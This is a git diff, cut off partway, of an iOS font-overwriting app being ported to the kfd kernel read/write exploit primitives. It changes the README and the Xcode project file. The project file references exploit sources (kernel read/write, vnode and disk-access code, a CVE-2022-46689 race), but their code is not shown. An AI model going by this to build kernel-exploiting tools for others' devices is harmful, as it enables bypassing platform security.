diff --git a/README.md b/README.md index 5e56b56..b181ca8 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,32 @@ +# KFDFontOverwrite +KFDFontOverwrite is an app that allows you to overwrite fonts on iOS ported to use the [kfd](https://github.com/felix-pb/kfd) kernel read/write primitives and [xsf1re's fork](https://github.com/wh1te4ever/kfd), which further built on them. + +This needs kfd offsets found in [dynamic_info.h](https://github.com/hrtowii/WDBFontOverwrite/blob/main/WDBFontOverwrite/libkfd/info/dynamic_info.h). +If you don't see your device + iOS combination, please refer to [lrdsnow's kfd-offsets repository](https://github.com/Lrdsnow/kfd_offsets), add them to dynamic_info, and change the 4 + 0x8 to 0x10. then build with xcode. + +If you don't have xcode, please wait or open a PR with your dynamic_info.h. I will collate them together and push IPAs everyday. + +I'm waiting for a unfiied dynamic_info.h file to come out with every device/iOS combination (it will be monstrously long) + +## How do I use it? +1. open the app, wait 30 seconds to kopen +2. apply fonts +3. kclose (it will automatically respring) + +If you're using custom fonts, you can import them first, then follow the 3 steps. + +## How does overwriting to a file work? +Answer: Following [opa334's](https://twitter.com/opa334dev/status/1684995963960643584) [instructions](https://twitter.com/opa334dev/status/1684993935213539328) on Twitter, I managed to create a function that overwrites the contents of one file to another without requiring vnode offsets. + +Source for this code is in my [kfd fork](https://github.com/hrtowii/kfd/commit/751f85cb991041df1b264713bbb7cfb187499f45), this project, and in [xsf1re's github repository](https://github.com/wh1te4ever/kfd/blob/main/kfd/fun/thanks_opa334dev_htrowii.m) + +## Credits +* opa334 for telling how to overwrite files +* xsf1re +* GinsuDev +* zhuowei for the original WDBFontOverwrite + +# Original README.md Proof-of-concept app to overwrite fonts on iOS using [CVE-2022-46689](https://support.apple.com/en-us/HT213530). Works on iOS 16.1.2 and below (tested on iOS 16.1) on unjailbroken devices. diff --git a/WDBFontOverwrite.xcodeproj/project.pbxproj b/WDBFontOverwrite.xcodeproj/project.pbxproj index 811c441..721049c 100644 --- a/WDBFontOverwrite.xcodeproj/project.pbxproj +++ b/WDBFontOverwrite.xcodeproj/project.pbxproj @@ -9,8 +9,6 @@ /* Begin PBXBuildFile section */ 4F085E392994EF2F004099C1 /* ActionButtons.ViewModel.swift in Sources */ = {isa = PBXBuildFile; fileRef = 4F085E382994EF2F004099C1 /* ActionButtons.ViewModel.swift */; }; 4F4E64A7295F9AB600D4F04D /* CustomFontsScene.ViewModel.swift in Sources */ = {isa = PBXBuildFile; fileRef = 4F4E64A6295F9AB600D4F04D /* CustomFontsScene.ViewModel.swift */; }; - 4FD690952986367C00B751B2 /* grant_full_disk_access.m in Sources */ = {isa = PBXBuildFile; fileRef = 4FD690942986367C00B751B2 /* grant_full_disk_access.m */; }; - 4FD690992986395B00B751B2 /* helpers.m in Sources */ = {isa = PBXBuildFile; fileRef = 4FD690982986395B00B751B2 /* helpers.m */; }; 4FE5EF312963E460003384EC /* NoticeView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 4FE5EF302963E460003384EC /* NoticeView.swift */; }; 4FE5EF3329640075003384EC /* WDBImportCustomFontPickerViewControllerDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = 4FE5EF3229640075003384EC /* WDBImportCustomFontPickerViewControllerDelegate.swift */; }; 4FE5EF3529653188003384EC /* FontMap.swift in Sources */ = {isa = PBXBuildFile; fileRef = 4FE5EF3429653188003384EC /* FontMap.swift */; }; @@ -27,6 +25,10 @@ 4FF28A1229679EEC00143640 /* ExplanationView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 4FF28A1129679EEC00143640 /* ExplanationView.swift */; }; 4FF28A142967AA2D00143640 /* ActionButtons.swift in Sources */ = {isa = PBXBuildFile; fileRef = 4FF28A132967AA2D00143640 /* ActionButtons.swift */; }; 4FF28A162967B77800143640 /* _UIKeyboardCache.m in Sources */ = {isa = PBXBuildFile; fileRef = 4FF28A152967B77800143640 /* _UIKeyboardCache.m */; }; + 6500C4182A763226007C2370 /* helpers.m in Sources */ = {isa = PBXBuildFile; fileRef = 6500C40D2A763226007C2370 /* helpers.m */; }; + 6500C4192A763226007C2370 /* thanks_opa334dev_htrowii.m in Sources */ = {isa = PBXBuildFile; fileRef = 6500C40E2A763226007C2370 /* thanks_opa334dev_htrowii.m */; }; + 6500C41A2A763226007C2370 /* krw.c in Sources */ = {isa = PBXBuildFile; fileRef = 6500C40F2A763226007C2370 /* krw.c */; }; + 6500C41D2A763226007C2370 /* proc.c in Sources */ = {isa = PBXBuildFile; fileRef = 6500C4122A763226007C2370 /* proc.c */; }; C55CF776295BA9B1000DE71C /* BrotliPadding.swift in Sources */ = {isa = PBXBuildFile; fileRef = C55CF775295BA9B1000DE71C /* BrotliPadding.swift */; }; C5A95F46295964AE00C58FDB /* PreviewFonts in Resources */ = {isa = PBXBuildFile; fileRef = C5A95F45295964AE00C58FDB /* PreviewFonts */; }; C5C9A7932959261000466D87 /* WDBFontOverwriteApp.swift in Sources */ = {isa = PBXBuildFile; fileRef = C5C9A7922959261000466D87 /* WDBFontOverwriteApp.swift */; }; @@ -35,16 +37,17 @@ C5C9A79A2959261200466D87 /* Preview Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = C5C9A7992959261200466D87 /* Preview Assets.xcassets */; }; C5C9A7A12959263A00466D87 /* OverwriteFontImpl.swift in Sources */ = {isa = PBXBuildFile; fileRef = C5C9A7A02959263A00466D87 /* OverwriteFontImpl.swift */; }; C5C9A7A32959341600466D87 /* RepackedFonts in Resources */ = {isa = PBXBuildFile; fileRef = C5C9A7A22959341600466D87 /* RepackedFonts */; }; - C5C9A7AA2959417100466D87 /* vm_unaligned_copy_switch_race.c in Sources */ = {isa = PBXBuildFile; fileRef = C5C9A7A92959417100466D87 /* vm_unaligned_copy_switch_race.c */; }; + C82854152A781CDD0050E059 /* Dynamic in Frameworks */ = {isa = PBXBuildFile; productRef = C82854142A781CDD0050E059 /* Dynamic */; }; + C82854202A78DFCD0050E059 /* offsets.m in Sources */ = {isa = PBXBuildFile; fileRef = C82854192A78DFCD0050E059 /* offsets.m */; }; + C82854212A78DFCD0050E059 /* vm_unaligned_copy_switch_race.c in Sources */ = {isa = PBXBuildFile; fileRef = C828541B2A78DFCD0050E059 /* vm_unaligned_copy_switch_race.c */; }; + C82854222A78DFCD0050E059 /* vnode.c in Sources */ = {isa = PBXBuildFile; fileRef = C828541C2A78DFCD0050E059 /* vnode.c */; }; + C82854232A78DFCD0050E059 /* grant_full_disk_access.m in Sources */ = {isa = PBXBuildFile; fileRef = C828541D2A78DFCD0050E059 /* grant_full_disk_access.m */; }; + C8906FB02A78E0AF003A514C /* fun.m in Sources */ = {isa = PBXBuildFile; fileRef = C8906FAF2A78E0AF003A514C /* fun.m */; }; /* End PBXBuildFile section */ /* Begin PBXFileReference section */ 4F085E382994EF2F004099C1 /* ActionButtons.ViewModel.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ActionButtons.ViewModel.swift; sourceTree = ""; }; 4F4E64A6295F9AB600D4F04D /* CustomFontsScene.ViewModel.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = CustomFontsScene.ViewModel.swift; sourceTree = ""; }; - 4FD690942986367C00B751B2 /* grant_full_disk_access.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = grant_full_disk_access.m; sourceTree = ""; }; - 4FD69096298637D400B751B2 /* grant_full_disk_access.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = grant_full_disk_access.h; sourceTree = ""; }; - 4FD690972986394200B751B2 /* helpers.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = helpers.h; sourceTree = ""; }; - 4FD690982986395B00B751B2 /* helpers.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = helpers.m; sourceTree = ""; }; 4FE5EF302963E460003384EC /* NoticeView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = NoticeView.swift; sourceTree = ""; }; 4FE5EF3229640075003384EC /* WDBImportCustomFontPickerViewControllerDelegate.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = WDBImportCustomFontPickerViewControllerDelegate.swift; sourceTree = ""; }; 4FE5EF3429653188003384EC /* FontMap.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = FontMap.swift; sourceTree = ""; }; @@ -62,6 +65,27 @@ 4FF28A132967AA2D00143640 /* ActionButtons.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ActionButtons.swift; sourceTree = ""; }; 4FF28A152967B77800143640 /* _UIKeyboardCache.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = _UIKeyboardCache.m; sourceTree = ""; }; 4FF28A172967B78600143640 /* _UIKeyboardCache.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = _UIKeyboardCache.h; sourceTree = ""; }; + 6500C3DA2A7631D0007C2370 /* krkw.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = krkw.h; sourceTree = ""; }; + 6500C3DD2A7631D0007C2370 /* kread_sem_open.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kread_sem_open.h; sourceTree = ""; }; + 6500C3DE2A7631D0007C2370 /* kread_kqueue_workloop_ctl.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kread_kqueue_workloop_ctl.h; sourceTree = ""; }; + 6500C3E02A7631D0007C2370 /* kwrite_sem_open.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kwrite_sem_open.h; sourceTree = ""; }; + 6500C3E12A7631D0007C2370 /* kwrite_dup.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kwrite_dup.h; sourceTree = ""; }; + 6500C3E32A7631D0007C2370 /* static_info.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = static_info.h; sourceTree = ""; }; + 6500C3E42A7631D0007C2370 /* dynamic_info.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = dynamic_info.h; sourceTree = ""; }; + 6500C3E52A7631D0007C2370 /* puaf.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = puaf.h; sourceTree = ""; }; + 6500C3E62A7631D0007C2370 /* common.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = common.h; sourceTree = ""; }; + 6500C3E82A7631D0007C2370 /* smith.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = smith.h; sourceTree = ""; }; + 6500C3E92A7631D0007C2370 /* physpuppet.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = physpuppet.h; sourceTree = ""; }; + 6500C3EA2A7631D0007C2370 /* perf.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = perf.h; sourceTree = ""; }; + 6500C3EB2A7631D0007C2370 /* info.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = info.h; sourceTree = ""; }; + 6500C4062A763226007C2370 /* thanks_opa334dev_htrowii.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = thanks_opa334dev_htrowii.h; sourceTree = ""; }; + 6500C4082A763226007C2370 /* proc.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = proc.h; sourceTree = ""; }; + 6500C40A2A763226007C2370 /* krw.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = krw.h; sourceTree = ""; }; + 6500C40D2A763226007C2370 /* helpers.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = helpers.m; sourceTree = ""; }; + 6500C40E2A763226007C2370 /* thanks_opa334dev_htrowii.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = thanks_opa334dev_htrowii.m; sourceTree = ""; }; + 6500C40F2A763226007C2370 /* krw.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = krw.c; sourceTree = ""; }; + 6500C4122A763226007C2370 /* proc.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = proc.c; sourceTree = ""; }; + 6500C4142A763226007C2370 /* helpers.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = helpers.h; sourceTree = ""; }; C55CF775295BA9B1000DE71C /* BrotliPadding.swift */ = {isa = PBXFileReference; fileEncoding = 4; indentWidth = 4; lastKnownFileType = sourcecode.swift; path = BrotliPadding.swift; sourceTree = ""; tabWidth = 4; usesTabs = 0; }; C5A95F45295964AE00C58FDB /* PreviewFonts */ = {isa = PBXFileReference; lastKnownFileType = folder; path = PreviewFonts; sourceTree = ""; }; C5C9A78F2959261000466D87 /* WDBFontOverwrite.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = WDBFontOverwrite.app; sourceTree = BUILT_PRODUCTS_DIR; }; @@ -72,9 +96,19 @@ C5C9A7A02959263A00466D87 /* OverwriteFontImpl.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = OverwriteFontImpl.swift; sourceTree = ""; }; C5C9A7A22959341600466D87 /* RepackedFonts */ = {isa = PBXFileReference; lastKnownFileType = folder; path = RepackedFonts; sourceTree = ""; }; C5C9A7A72959351A00466D87 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist; path = Info.plist; sourceTree = ""; }; - C5C9A7A82959417100466D87 /* WDBFontOverwrite-Bridging-Header.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "WDBFontOverwrite-Bridging-Header.h"; sourceTree = ""; }; - C5C9A7A92959417100466D87 /* vm_unaligned_copy_switch_race.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = vm_unaligned_copy_switch_race.c; sourceTree = ""; }; - C5C9A7AB2959438600466D87 /* vm_unaligned_copy_switch_race.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = vm_unaligned_copy_switch_race.h; sourceTree = ""; }; + C82854122A781AE60050E059 /* ISIconCacheServiceProtocol-Protocol.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "ISIconCacheServiceProtocol-Protocol.h"; sourceTree = ""; }; + C82854182A78DFCD0050E059 /* offsets.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = offsets.h; path = WDBFontOverwrite/offsets.h; sourceTree = SOURCE_ROOT; }; + C82854192A78DFCD0050E059 /* offsets.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; name = offsets.m; path = WDBFontOverwrite/offsets.m; sourceTree = SOURCE_ROOT; }; + C828541A2A78DFCD0050E059 /* vm_unaligned_copy_switch_race.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = vm_unaligned_copy_switch_race.h; path = WDBFontOverwrite/vm_unaligned_copy_switch_race.h; sourceTree = SOURCE_ROOT; }; + C828541B2A78DFCD0050E059 /* vm_unaligned_copy_switch_race.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = vm_unaligned_copy_switch_race.c; path = WDBFontOverwrite/vm_unaligned_copy_switch_race.c; sourceTree = SOURCE_ROOT; }; + C828541C2A78DFCD0050E059 /* vnode.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = vnode.c; path = WDBFontOverwrite/vnode.c; sourceTree = SOURCE_ROOT; }; + C828541D2A78DFCD0050E059 /* grant_full_disk_access.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; name = grant_full_disk_access.m; path = WDBFontOverwrite/grant_full_disk_access.m; sourceTree = SOURCE_ROOT; }; + C828541E2A78DFCD0050E059 /* grant_full_disk_access.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = grant_full_disk_access.h; path = WDBFontOverwrite/grant_full_disk_access.h; sourceTree = SOURCE_ROOT; }; + C828541F2A78DFCD0050E059 /* vnode.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = vnode.h; path = WDBFontOverwrite/vnode.h; sourceTree = SOURCE_ROOT; }; + C832BDD12A76398400F0D136 /* WDBFontOverwrite-Bridging-Header.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = "WDBFontOverwrite-Bridging-Header.h"; path = "WDBFontOverwrite/WDBFontOverwrite-Bridging-Header.h"; sourceTree = SOURCE_ROOT; }; + C88020F92A7634FE0055B5E8 /* libkfd.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = libkfd.h; sourceTree = ""; }; + C8906FAE2A78E0AF003A514C /* fun.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = fun.h; sourceTree = ""; }; + C8906FAF2A78E0AF003A514C /* fun.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = fun.m; sourceTree = ""; }; /* End PBXFileReference section */ /* Begin PBXFrameworksBuildPhase section */ @@ -82,6 +116,7 @@ isa = PBXFrameworksBuildPhase; buildActionMask = 2147483647; files = ( + C82854152A781CDD0050E059 /* Dynamic in Frameworks */, ); runOnlyForDeploymentPostprocessing = 0; }; @@ -97,14 +132,6 @@ path = FileEditor; sourceTree = ""; }; - 4FE5EF3C2966452A003384EC /* Progress */ = { - isa = PBXGroup; - children = ( - 4FE5EF3D29664537003384EC /* ProgressManager.swift */, - ); - path = Progress; - sourceTree = ""; - }; 4FE5EF3F29668BF2003384EC /* MainInterface */ = { isa = PBXGroup; children = ( @@ -113,12 +140,12 @@ 4FE5EF4029668C9C003384EC /* AlignedRowContentView.swift */, C5C9A7942959261000466D87 /* CustomFontsScene.swift */, 4F4E64A6295F9AB600D4F04D /* CustomFontsScene.ViewModel.swift */, - 4FF28A0D2967955400143640 /* PresetFontsScene.swift */, 4FF28A0F2967956300143640 /* PresetFontsScene.ViewModel.swift */, 4FE5EF302963E460003384EC /* NoticeView.swift */, 4FF28A1129679EEC00143640 /* ExplanationView.swift */, 4FF28A132967AA2D00143640 /* ActionButtons.swift */, 4F085E382994EF2F004099C1 /* ActionButtons.ViewModel.swift */, + 4FF28A0D2967955400143640 /* PresetFontsScene.swift */, ); path = MainInterface; sourceTree = ""; @@ -134,6 +161,91 @@ path = FontDiscovery; sourceTree = ""; }; + 6500C3D92A7631D0007C2370 /* libkfd */ = { + isa = PBXGroup; + children = ( + 6500C3DA2A7631D0007C2370 /* krkw.h */, + 6500C3DB2A7631D0007C2370 /* krkw */, + 6500C3E22A7631D0007C2370 /* info */, + 6500C3E52A7631D0007C2370 /* puaf.h */, + 6500C3E62A7631D0007C2370 /* common.h */, + 6500C3E72A7631D0007C2370 /* puaf */, + 6500C3EA2A7631D0007C2370 /* perf.h */, + 6500C3EB2A7631D0007C2370 /* info.h */, + ); + path = libkfd; + sourceTree = ""; + }; + 6500C3DB2A7631D0007C2370 /* krkw */ = { + isa = PBXGroup; + children = ( + 6500C3DC2A7631D0007C2370 /* kread */, + 6500C3DF2A7631D0007C2370 /* kwrite */, + ); + path = krkw; + sourceTree = ""; + }; + 6500C3DC2A7631D0007C2370 /* kread */ = { + isa = PBXGroup; + children = ( + 6500C3DD2A7631D0007C2370 /* kread_sem_open.h */, + 6500C3DE2A7631D0007C2370 /* kread_kqueue_workloop_ctl.h */, + ); + path = kread; + sourceTree = ""; + }; + 6500C3DF2A7631D0007C2370 /* kwrite */ = { + isa = PBXGroup; + children = ( + 6500C3E02A7631D0007C2370 /* kwrite_sem_open.h */, + 6500C3E12A7631D0007C2370 /* kwrite_dup.h */, + ); + path = kwrite; + sourceTree = ""; + }; + 6500C3E22A7631D0007C2370 /* info */ = { + isa = PBXGroup; + children = ( + 6500C3E32A7631D0007C2370 /* static_info.h */, + 6500C3E42A7631D0007C2370 /* dynamic_info.h */, + ); + path = info; + sourceTree = ""; + }; + 6500C3E72A7631D0007C2370 /* puaf */ = { + isa = PBXGroup; + children = ( + 6500C3E82A7631D0007C2370 /* smith.h */, + 6500C3E92A7631D0007C2370 /* physpuppet.h */, + ); + path = puaf; + sourceTree = ""; + }; + 6500C4052A763226007C2370 /* fun */ = { + isa = PBXGroup; + children = ( + C8906FAE2A78E0AF003A514C /* fun.h */, + C8906FAF2A78E0AF003A514C /* fun.m */, + C828541E2A78DFCD0050E059 /* grant_full_disk_access.h */, + C828541D2A78DFCD0050E059 /* grant_full_disk_access.m */, + C82854182A78DFCD0050E059 /* offsets.h */, + C82854192A78DFCD0050E059 /* offsets.m */, + C828541B2A78DFCD0050E059 /* vm_unaligned_copy_switch_race.c */, + C828541A2A78DFCD0050E059 /* vm_unaligned_copy_switch_race.h */, + C828541C2A78DFCD0050E059 /* vnode.c */, + C828541F2A78DFCD0050E059 /* vnode.h */, + 6500C4062A763226007C2370 /* thanks_opa334dev_htrowii.h */, + 6500C40E2A763226007C2370 /* thanks_opa334dev_htrowii.m */, + 6500C4082A763226007C2370 /* proc.h */, + 6500C4122A763226007C2370 /* proc.c */, + 6500C40A2A763226007C2370 /* krw.h */, + 6500C40F2A763226007C2370 /* krw.c */, + 6500C4142A763226007C2370 /* helpers.h */, + 6500C40D2A763226007C2370 /* helpers.m */, + ); + path = fun; + sourceTree = ""; + }; C55CF777295BAF42000DE71C /* Frameworks */ = { isa = PBXGroup; children = ( @@ -161,26 +273,24 @@ C5C9A7912959261000466D87 /* WDBFontOverwrite */ = { isa = PBXGroup; children = ( + C88020F92A7634FE0055B5E8 /* libkfd.h */, + 6500C4052A763226007C2370 /* fun */, + 6500C3D92A7631D0007C2370 /* libkfd */, + 4FE5EF3D29664537003384EC /* ProgressManager.swift */, C5C9A7A72959351A00466D87 /* Info.plist */, C5A95F45295964AE00C58FDB /* PreviewFonts */, C5C9A7A22959341600466D87 /* RepackedFonts */, 4FE5EF3F29668BF2003384EC /* MainInterface */, - 4FE5EF3C2966452A003384EC /* Progress */, C55CF775295BA9B1000DE71C /* BrotliPadding.swift */, 4FE5EF3429653188003384EC /* FontMap.swift */, C5C9A7A02959263A00466D87 /* OverwriteFontImpl.swift */, + C82854112A781AC50050E059 /* uicache */, C5C9A7922959261000466D87 /* WDBFontOverwriteApp.swift */, 4FE5EF3229640075003384EC /* WDBImportCustomFontPickerViewControllerDelegate.swift */, C5C9A7962959261200466D87 /* Assets.xcassets */, 4FF28A152967B77800143640 /* _UIKeyboardCache.m */, 4FF28A172967B78600143640 /* _UIKeyboardCache.h */, - 4FD690942986367C00B751B2 /* grant_full_disk_access.m */, - 4FD69096298637D400B751B2 /* grant_full_disk_access.h */, - 4FD690982986395B00B751B2 /* helpers.m */, - 4FD690972986394200B751B2 /* helpers.h */, - C5C9A7A92959417100466D87 /* vm_unaligned_copy_switch_race.c */, - C5C9A7AB2959438600466D87 /* vm_unaligned_copy_switch_race.h */, - C5C9A7A82959417100466D87 /* WDBFontOverwrite-Bridging-Header.h */, + C832BDD12A76398400F0D136 /* WDBFontOverwrite-Bridging-Header.h */, C5C9A7982959261200466D87 /* Preview Content */, ); path = WDBFontOverwrite; @@ -194,6 +304,14 @@ path = "Preview Content"; sourceTree = ""; }; + C82854112A781AC50050E059 /* uicache */ = { + isa = PBXGroup; + children = ( + C82854122A781AE60050E059 /* ISIconCacheServiceProtocol-Protocol.h */, + ); + path = uicache; + sourceTree = ""; + }; /* End PBXGroup section */ /* Begin PBXNativeTarget section */ @@ -210,6 +328,9 @@ dependencies = ( ); name = WDBFontOverwrite; + packageProductDependencies = ( + C82854142A781CDD0050E059 /* Dynamic */, + ); productName = WDBFontOverwrite; productReference = C5C9A78F2959261000466D87 /* WDBFontOverwrite.app */; productType = "com.apple.product-type.application"; @@ -239,6 +360,9 @@ Base, ); mainGroup = C5C9A7862959261000466D87; + packageReferences = ( + C82854132A781CDD0050E059 /* XCRemoteSwiftPackageReference "Dynamic" */, + ); productRefGroup = C5C9A7902959261000466D87 /* Products */; projectDirPath = ""; projectRoot = ""; @@ -267,21 +391,26 @@ isa = PBXSourcesBuildPhase; buildActionMask = 2147483647; files = ( + 6500C41A2A763226007C2370 /* krw.c in Sources */, 4FE5EF3A296561B2003384EC /* FileEditorView.ViewModel.swift in Sources */, + C82854232A78DFCD0050E059 /* grant_full_disk_access.m in Sources */, + C82854212A78DFCD0050E059 /* vm_unaligned_copy_switch_race.c in Sources */, C5C9A7952959261000466D87 /* CustomFontsScene.swift in Sources */, 4FF28A0E2967955400143640 /* PresetFontsScene.swift in Sources */, + 6500C41D2A763226007C2370 /* proc.c in Sources */, 4FE5EF4B2966AE72003384EC /* FontDiscoveryCard.ViewModel.swift in Sources */, C55CF776295BA9B1000DE71C /* BrotliPadding.swift in Sources */, + C82854202A78DFCD0050E059 /* offsets.m in Sources */, 4FE5EF3E29664537003384EC /* ProgressManager.swift in Sources */, 4FE5EF452966AD87003384EC /* FontDiscoveryScene.swift in Sources */, - 4FD690992986395B00B751B2 /* helpers.m in Sources */, 4FF28A1229679EEC00143640 /* ExplanationView.swift in Sources */, + C8906FB02A78E0AF003A514C /* fun.m in Sources */, + C82854222A78DFCD0050E059 /* vnode.c in Sources */, C5C9A7932959261000466D87 /* WDBFontOverwriteApp.swift in Sources */, 4FE5EF38296561A5003384EC /* FileEditorView.swift in Sources */, - 4FD690952986367C00B751B2 /* grant_full_disk_access.m in Sources */, + 6500C4192A763226007C2370 /* thanks_opa334dev_htrowii.m in Sources */, 4FF28A162967B77800143640 /* _UIKeyboardCache.m in Sources */, 4FE5EF472966AD98003384EC /* FontDiscoveryScene.ViewModel.swift in Sources */, - C5C9A7AA2959417100466D87 /* vm_unaligned_copy_switch_race.c in Sources */, 4FF28A142967AA2D00143640 /* ActionButtons.swift in Sources */, 4FE5EF4129668C9C003384EC /* AlignedRowContentView.swift in Sources */, 4FE5EF492966AE1A003384EC /* FontDiscoveryCard.swift in Sources */, @@ -292,6 +421,7 @@ 4FE5EF3329640075003384EC /* WDBImportCustomFontPickerViewControllerDelegate.swift in Sources */, C5C9A7A12959263A00466D87 /* OverwriteFontImpl.swift in Sources */, 4F4E64A7295F9AB600D4F04D /* CustomFontsScene.ViewModel.swift in Sources */, + 6500C4182A763226007C2370 /* helpers.m in Sources */, ); runOnlyForDeploymentPostprocessing = 0; }; @@ -421,10 +551,11 @@ CODE_SIGN_STYLE = Automatic; CURRENT_PROJECT_VERSION = 1; DEVELOPMENT_ASSET_PATHS = "\"WDBFontOverwrite/Preview Content\""; - DEVELOPMENT_TEAM = WNUZX4NA7T; + DEVELOPMENT_TEAM = XYJG5XT7ZZ; ENABLE_PREVIEWS = YES; GENERATE_INFOPLIST_FILE = YES; INFOPLIST_FILE = WDBFontOverwrite/Info.plist; + INFOPLIST_KEY_CFBundleDisplayName = KFDFontOverwrite; INFOPLIST_KEY_NSAppleMusicUsageDescription = WDBFontOverwrite; INFOPLIST_KEY_UIApplicationSceneManifest_Generation = YES; INFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents = YES; @@ -441,11 +572,12 @@ "$(PROJECT_DIR)/WDBFontOverwrite", ); MARKETING_VERSION = 1.10.8; - PRODUCT_BUNDLE_IDENTIFIER = com.ginsudev.WDBFontOverwrite; + PRODUCT_BUNDLE_IDENTIFIER = com.amongus.sussy; PRODUCT_NAME = "$(TARGET_NAME)"; SWIFT_EMIT_LOC_STRINGS = YES; - SWIFT_OBJC_BRIDGING_HEADER = "WDBFontOverwrite/WDBFontOverwrite-Bridging-Header.h"; + "SWIFT_OBJC_BRIDGING_HEADER[arch=*]" = "WDBFontOverWrite/WDBFontOverwrite-Bridging-Header.h"; SWIFT_OPTIMIZATION_LEVEL = "-Onone"; + SWIFT_PRECOMPILE_BRIDGING_HEADER = NO; SWIFT_VERSION = 5.0; TARGETED_DEVICE_FAMILY = "1,2"; }; @@ -460,10 +592,11 @@ CODE_SIGN_STYLE = Automatic; CURRENT_PROJECT_VERSION = 1; DEVELOPMENT_ASSET_PATHS = "\"WDBFontOverwrite/Preview Content\""; - DEVELOPMENT_TEAM = WNUZX4NA7T; + DEVELOPMENT_TEAM = XYJG5XT7ZZ; ENABLE_PREVIEWS = YES; GENERATE_INFOPLIST_FILE = YES; INFOPLIST_FILE = WDBFontOverwrite/Info.plist; + INFOPLIST_KEY_CFBundleDisplayName = KFDFontOverwrite; INFOPLIST_KEY_NSAppleMusicUsageDescription = WDBFontOverwrite; INFOPLIST_KEY_UIApplicationSceneManifest_Generation = YES; INFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents = YES; @@ -480,10 +613,11 @@ "$(PROJECT_DIR)/WDBFontOverwrite", ); MARKETING_VERSION = 1.10.8; - PRODUCT_BUNDLE_IDENTIFIER = com.ginsudev.WDBFontOverwrite; + PRODUCT_BUNDLE_IDENTIFIER = com.amongus.sussy; PRODUCT_NAME = "$(TARGET_NAME)"; SWIFT_EMIT_LOC_STRINGS = YES; - SWIFT_OBJC_BRIDGING_HEADER = "WDBFontOverwrite/WDBFontOverwrite-Bridging-Header.h"; + "SWIFT_OBJC_BRIDGING_HEADER[arch=*]" = "WDBFontOverWrite/WDBFontOverwrite-Bridging-Header.h"; + 